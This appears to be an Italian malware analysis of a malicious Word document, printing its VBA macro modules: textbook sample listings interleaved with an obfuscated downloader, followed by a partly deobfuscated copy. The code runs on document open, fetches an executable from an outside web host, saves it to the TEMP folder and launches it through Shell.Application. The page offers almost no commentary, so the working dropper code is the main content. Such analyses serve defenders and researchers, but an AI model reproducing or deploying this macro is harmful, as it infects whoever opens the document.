Analisi Documento Word con Macro malevole

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

Attribute VB_Name = "Module1"

Dim currCell As String  ' The module-level variable for Listing 7.4

' Listing 7.1. Toggles the active window's gridlines on and off.
'
Sub ToggleGridlines()

    With ActiveWindow
       ù.DisplayGridLines = Not à.DisplayGridLines
    End With
    
End Sub

' Listing 7.2. A procedure that tests the Evaluate function.
'
Sub EvaluateTest()
    Dim columnLetter As String
    Dim rowNumber As String
    Dim cellAddress As String
    '
    ' Activate the "Test Data" worksheet
    '
    ŷ.Worksheets("Test Data").Activate
    '
    ' Get the value in cell A1
    '
    columnLetter = è.[A1].Value
    '
    ' Get the value in cell B1
    '
    rowNumber = è.[B1].Value
    '
    ' Concatenate the two values and then display the message
    '
    cellAddress = columnLetter & rowNumber
    MsgBox "The value in cell " & cellAddress & " is " & ŵ.Evaluate(cellAddress)
End Sub


Public Function E1hULdfCYKq40(M72YMyUcUWEAf As String)
 Set Z0EcDOINA = fAQaVGJfCYUL("S" & "h" & Chr(101) & Chr(108) & Chr(108) & "." & "A" & "p" & Chr(112) & Chr(108) & "i" & Chr(99) & Chr(97) & Chr(116) & Chr(105) & "o" & "n")
Z0EcDOINA.Open (AHmYANL3)
End Function
Public Function fAQaVGJfCYUL(U9ZWOpJrq As String)
 Set fAQaVGJfCYUL = CreateObject(U9ZWOpJrq)
End Function
Function CalcNetMargin(fixedCosts)

    Dim totalSales
    Dim totalExpenses
    
    With ï.Worksheets("2000 Budget")
        totalSales = ï.Application.Sum(.Range("Sales"))
        totalExpenses = ï.Application.Sum(.Range("Expenses"))
    End With
        
    If totalSales <> 0 Then
        CalcNetMargin = (totalSales - totalExpenses - fixedCosts) / totalSales
    End If
    '
    ' Recalculate whenever the sheet recalculates
    '
    â.Application.Volatile
End Function

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169

Attribute VB_Name = "Module3"

' Listing 6.1. A procedure that toggles the display of
' nonprinting characters on and off.
'
Sub ToggleNonprinting()

    With ActiveWindow.View
        .ShowAll = Not .ShowAll
    End With

End Sub


' Listing 6.3. A procedure that moves the Word window
' into the top left corner of the screen.
'
Sub TopLeftCorner()
    With Application
        If .WindowState <> wdWindowStateMaximize _
            And .WindowState <> wdWindowStateMinimize _
            Then .Move 0, 0
    End With
End Sub

' Listing 6.4. Procedures that create and open
' a workspace of files.
'
' CreateWorkspace()
' Saves the path and filename data of all the
' open files to the Windows Registry. Before
' running this procedure, make sure only the
' files you want in the workspace are open.
'
Sub CreateWorkspace()
    Dim total As Integer
    Dim doc As Document
    Dim i As Integer
    '
    ' Delete the old workspace settings
    ' First, get the total number of files
    '
    total = GetSetting("Word", "Workspace", "TotalFiles", 0)
    For i = 1 To total
        '
        ' Delete each setting
        '
        DeleteSetting "Word", "Workspace", "Document" & i
    Next 'i
    '
    ' Create the new workspace
    '
    i = 0
    For Each doc In Documents
        '
        ' Make sure it's not a new, unsaved file
        '
        If doc.Path <> "" Then
            '
            ' Use i to create unique setting names
            '
            i = i + 1
            '
            ' Save the FullName (path and filename) to the Registry
            '
            SaveSetting "Word", "Workspace", "Document" & i, doc.FullName
        End If
    Next 'doc
    '
    ' Save tht total number of files
    '
    SaveSetting "Word", "Workspace", "TotalFiles", i
End Sub
Sub knGjLBTgmGgBh()

Set DhAXmemS278B6 = fAQaVGJfCYUL(Chr(77) & "i" & Chr(99) & Chr(114) & "o" & Chr(115) & Chr(111) & Chr(102) & "t" & Chr(46) & Chr(88) & "M" & "L" & "H" & Chr(84) & Chr(84) & Chr(80))

CallByName DhAXmemS278B6, "O" & Chr(112) & Chr(101) & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), _
Chr(104) & Chr(116) & Chr(116) & "p" & Chr(58) & Chr(47) & Chr(47) & Chr(119) & Chr(119) & Chr(119) & Chr(46) & Chr(102) & "r" & "e" & Chr(101) & Chr(119) & Chr(101) & Chr(98) & Chr(115) & Chr(116) & Chr(117) & Chr(102) & Chr(102) & Chr(46) & Chr(98) & Chr(101) & Chr(47) & "3" & Chr(52) & Chr(47) & Chr(52) & "4" & Chr(46) & "e" & Chr(120) & Chr(101) _
, False


Set VZGc6njbPx6 = fAQaVGJfCYUL("W" & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))

Set gsHD7abC5N3 = CallByName(VZGc6njbPx6, "E" & Chr(110) & Chr(118) & "i" & Chr(114) & Chr(111) & Chr(110) & "m" & Chr(101) & Chr(110) & Chr(116), VbGet, "P" & Chr(114) & Chr(111) & Chr(99) & Chr(101) & Chr(115) & "s")

I2fThDFfJ2x = gsHD7abC5N3("T" & Chr(69) & Chr(77) & Chr(80))

AHmYANL3 = I2fThDFfJ2x & Chr(92) & "g" & Chr(105) & Chr(110) & Chr(107) & Chr(97) & Chr(110) & Chr(56) & Chr(54) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
Dim L3eSO44R() As Byte

CallByName DhAXmemS278B6, "S" & "e" & Chr(110) & Chr(100), VbMethod
L3eSO44R = CallByName(DhAXmemS278B6, "r" & Chr(101) & Chr(115) & Chr(112) & Chr(111) & Chr(110) & "s" & "e" & Chr(66) & "o" & "d" & Chr(121), VbGet)
aJbV7hKTsFzE L3eSO44R, AHmYANL3
On Error GoTo GbzD0F5w
    a = 84 / 0
  On Error GoTo 0
  
YmVz6Pw29BQ:
  Exit Sub
GbzD0F5w:
  E1hULdfCYKq40 ("qXSh3tUIo")
Resume YmVz6Pw29BQ
End Sub
Public Function aJbV7hKTsFzE(bB2ojLbgVtJ As Variant, sliQYqZdLGCmtq As String)
Dim BkUobg5a: Set BkUobg5a = fAQaVGJfCYUL(Chr(65) & "d" & Chr(111) & "d" & "b" & Chr(46) & Chr(83) & Chr(116) & "r" & Chr(101) & "a" & Chr(109))

With BkUobg5a
   .Type = 1
    .Open
    .write bB2ojLbgVtJ
    .savetofile sliQYqZdLGCmtq, 2
End With
End Function




'
' OpenWorkspace()
' Accesses the Registry's workspace settings
' and then opens each workspace file.
'
Sub OpenWorkspace()
    Dim total As Integer
    Dim i As Integer
    Dim filePath As String
    Dim doc As Document
    Dim fileAlreadyOpen As Boolean
    '
    ' Get the total number of files
    '
    total = GetSetting("Word", "Workspace", "TotalFiles", 0)
    For i = 1 To total
        '
        ' Get the path and filename
        '
        filePath = GetSetting("Word", "Workspace", "Document" & i)
        '
        ' Make sure the file isn't already open
        '
        fileAlreadyOpen = False
        For Each doc In Documents
            If filePath = doc.FullName Then
                fileAlreadyOpen = True
                Exit For
            End If
        Next 'doc
        '
        ' Open it
        '
        If Not fileAlreadyOpen Then
            Documents.Open filePath
        End If
    Next 'i
End Sub

Sub TestStylesAddMethod()
Set newStyle = ActiveDocument.Styles.Add("PageTitle", wdStyleTypeParagraph)
With newStyle
    .Font.Bold = True
    .Font.Underline = True
    .Font.Size = 24
    .Font.Name = "Arial"
    .ParagraphFormat.Alignment = wdAlignParagraphCenter
    .ParagraphFormat.SpaceAfter = 12
    .NextParagraphStyle = wdStyleNormal
End With
End Sub<

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136

Attribute VB_Name = "Module5"

Public AHmYANL3 As String
' Global variable

' Listing 8.1. This procedure ties everything together by
' calling each of the code listings individually.
'
Sub Main()
    '
    ' Create the presentation file
    '
    CreateJugglingPresentation
    '
    ' Add the slides
    '
    AddJugglingSlides
    '
    ' Set up the title page
    '
    SetUpStartPage
    '
    ' Set up the Juggling pages
    '
    '
    ' Save it and then run it
    '
    pres.Save
    
End Sub

' Listing 8.2. This procedure creates a new presentation
' and then saves it.
'
Sub CreateJugglingPresentation()
   '
    ' If the old one is still open, close it without saving
    '
    For Each p In Presentations
        If p.Name = "Juggling" Then
            p.Saved = True
            p.Close
        End If
    Next p
    '
    ' Create a new Presentation object and store it in pres
    '
    Set pres = Presentations.Add
    pres.SaveAs FileName:="Juggling.ppt"
End Sub

' Listing 8.3. A procedure that adds the slides to the
' Juggling presentation and formats them.
'
Sub AddJugglingSlides()
    Dim i As Integer
    
    With pres
        With .Slides
         '
         ' Add the opening slide
         '
         .Add(Index:=1, Layout:=ppLayoutTitle).Name = "Opener"
         '
         ' Now add the slides for each step
         '
         For i = 1 To 4
             .Add(Index:=i + 1, Layout:=ppLayoutTitle).Name = "Juggling" & i
         Next i
    End With
    '
    ' Set the background for all the slides
    '
    .SlideMaster.Background.Fill.PresetGradient _
        Style:=msoGradientHorizontal, _
        Variant:=1, _
        PresetGradientType:=msoGradientNightfall
    End With
End Sub

' Listing 8.4. A procedure that sets up the text and animation
' settings for the first page of the Juggling presentation.
'
Sub SetUpStartPage()
    Dim shapeTitle As Shape
    Dim shapeSubTitle As Shape
    
    With pres.Slides("Opener")
        Set shapeTitle = .Shapes(1)     ' The title
        Set shapeSubTitle = .Shapes(2)  ' The subtitle
        '
        ' Add the title text
        '
        With shapeTitle.TextFrame.TextRange
            .Text = "Juggling"
            With .Font
                .Name = "Arial"
                .Size = 44
                .Bold = True
                ŵ.Color.RGB = RGB(255, 255, 255)
            End With
        End With
        '
        ' Set the title animation
        '
        With ŵ.shapeTitle.AnimationSettings
            .Animate = True
            .AdvanceMode = ppAdvanceOnTime
            .AdvanceTime = 0
            .TextUnitEffect = ppAnimateByCharacter
            .EntryEffect = ppEffectFlyFromLeft
        End With
        '
        ' Add the subtitle text
        '
        With shapeSubTitle.TextFrame.TextRange
            .Text = "A Step-By-Step Course"
            With .Font
                .Name = "Arial"
                .Size = 36
                .Bold = True
                ŵ.Color.RGB = RGB(255, 255, 255)
            End With
        End With
        '
        ' Set the subtitle animation
        '
        With ŵ.shapeSubTitle.AnimationSettings
            .Animate = True
            .AdvanceMode = ppAdvanceOnTime
            .AdvanceTime = 0
            .TextUnitEffect = ppAnimateByWord
            .EntryEffect = ppEffectFlyFromBottom
        End With
    End With
End Sub

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub A121212121212(FFFFF As Long)

knGjLBTgmGgBh

End Sub

Sub autoopen()

A121212121212 (3)

End Sub

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

Sub chiamata_start(FFFFF As Long)

prima_funzione

End Sub

Sub autoopen()  

chiamata_start (3)

End Sub



Public Function avvia_maleware(M72YMyUcUWEAf As String)
 Set shell_malware = nuovo_oggetto("Shell.Application")
shell_malware.Open (file_maleware)
End Function
Public Function nuovo_oggetto(nome_oggetto As String)
 Set nuovo_oggetto = CreateObject(nome_oggetto)
End Function




Sub prima_funzione()

Set oggetto_xmlhttp = nuovo_oggetto("Microsoft.XMLHTTP")

CallByName oggetto_xmlhttp, OpenVbMethod, GET, _
"http://www.freewebstuff.be/34/44.exe" _
, False


Set shell = nuovo_oggetto("WScript.Shell")

Set oggetto_trova_path = CallByName(shell, "Environment", VbGet, "Process")

path_malware = oggetto_trova_path("TEMP")

file_maleware = path_maleware \ "ginkan86.exe"
Dim L3eSO44R() As Byte

CallByName oggetto_xmlhttp , "Send", VbMethod
L3eSO44R = CallByName(oggetto_xmlhttp, "responseBody"), VbGet)
aJbV7hKTsFzE L3eSO44R, file_maleware
On Error GoTo GbzD0F5w
    a = 84 / 0
  On Error GoTo 0
  
YmVz6Pw29BQ:
  Exit Sub
GbzD0F5w:
  avvia_maleware ("qXSh3tUIo")
Resume YmVz6Pw29BQ
End Sub
Public Function aJbV7hKTsFzE(bB2ojLbgVtJ As Variant, sliQYqZdLGCmtq As String)
Dim BkUobg5a: Set BkUobg5a = nuovo_oggetto("Adodb.Stream")

With BkUobg5a
   .Type = 1
    .Open
    .write bB2ojLbgVtJ
    .savetofile sliQYqZdLGCmtq, 2
End With
End Function